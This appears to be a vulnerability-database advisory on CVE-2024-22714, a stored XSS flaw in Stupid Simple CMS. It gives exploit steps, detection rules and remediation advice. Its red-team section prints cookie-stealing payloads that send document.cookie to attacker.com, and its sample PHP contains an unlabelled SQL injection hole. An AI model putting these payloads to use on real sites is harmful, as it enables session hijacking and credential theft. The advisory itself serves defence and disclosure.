CVE-2024-22714
Executive Summary
CVE-2024-22714 identifies a stored Cross-Site Scripting (XSS) vulnerability in Stupid Simple CMS versions up to and including 1.2.4. The flaw resides in the article content editing section, allowing an authenticated attacker with editor-level access to inject arbitrary JavaScript or HTML. This can lead to session hijacking, defacement, or data theft. No official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP-based CMS. No supply chain implications are identified.
CVSS Breakdown & Threat Level
The CVSS vector is not provided by NVD. Based on the vulnerability characteristics, a reasonable estimate is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires editor login
- User Interaction (UI): None (N)
- Scope (S): Changed (C) – impacts the user’s browser
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS v3.1 Score: 6.1 (Medium)
Threat Level: Medium. Exploitation requires authentication, but the impact can be severe for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the article content editor. The CMS does not properly sanitize or escape user-supplied input when saving article content. An attacker with editor privileges can inject malicious scripts into the article body. When other users (including administrators) view the article, the script executes in their browser context.
Root Cause: Lack of output encoding or input validation in the content field during article creation/editing.
Attack Flow:
- Attacker logs in as an editor.
- Creates or edits an article, inserting a payload like
<script>alert('XSS')</script>in the content field. - The payload is stored in the database.
- When any user views the article, the script executes.
Vulnerable vs. Patched Code
No official patch exists. The vulnerable code likely resembles:
// Vulnerable code (hypothetical)
$content = $_POST['content'];
$sql = "INSERT INTO articles (content) VALUES ('$content')";
mysqli_query($conn, $sql);
A patched version would use proper escaping:
// Patched code (hypothetical)
$content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO articles (content) VALUES (?)");
$stmt->bind_param("s", $content);
$stmt->execute();
Exploitation & Lab Setup
Red Team
Prerequisites:
- Stupid Simple CMS <=1.2.4 installed
- Editor-level credentials
Exploit Steps:
- Log in to the admin panel.
- Navigate to "Articles" > "Add New".
- In the content field, inject a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the article.
- When an admin views the article, the cookie is exfiltrated.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team
Detection:
- Monitor for unusual article content containing
<script>,onerror,onload, orjavascript:. - Review access logs for POST requests to article creation/editing endpoints with suspicious payloads.
- Use WAF rules to block common XSS patterns.
Hunting:
- Query database for articles containing
<script>tags. - Check for unexpected outbound connections from the CMS server.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains from the CMS server.
- File: Modified article content in the database containing
<script>or event handlers. - Log: POST requests to
/admin/article/edit.phpor similar with encoded JavaScript. - Behavior: Unexpected redirects or pop-ups when viewing articles.
Detection Engineering
YARA Rule
rule CVE_2024_22714_XSS_Stored {
meta:
description = "Detects stored XSS payloads in Stupid Simple CMS articles"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22714"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:\s*/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Stupid Simple CMS Article Content
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in article content
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/admin/article/edit.php'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in articles (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-22714 Stored XSS Payload in Article Content"; flow:to_server,established; content:"POST"; http_method; content:"/admin/article/edit.php"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable article editing for untrusted users.
- Implement a Web Application Firewall (WAF) rule to block XSS patterns.
- Manually sanitize all article content in the database using
htmlspecialchars().
Long-Term Fix:
- Upgrade to a patched version if released.
- Apply input validation and output encoding to all user-supplied fields.
- Use a Content Security Policy (CSP) header to mitigate XSS impact.
Workaround:
- Restrict editor roles to trusted personnel only.
- Regularly audit article content for malicious scripts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.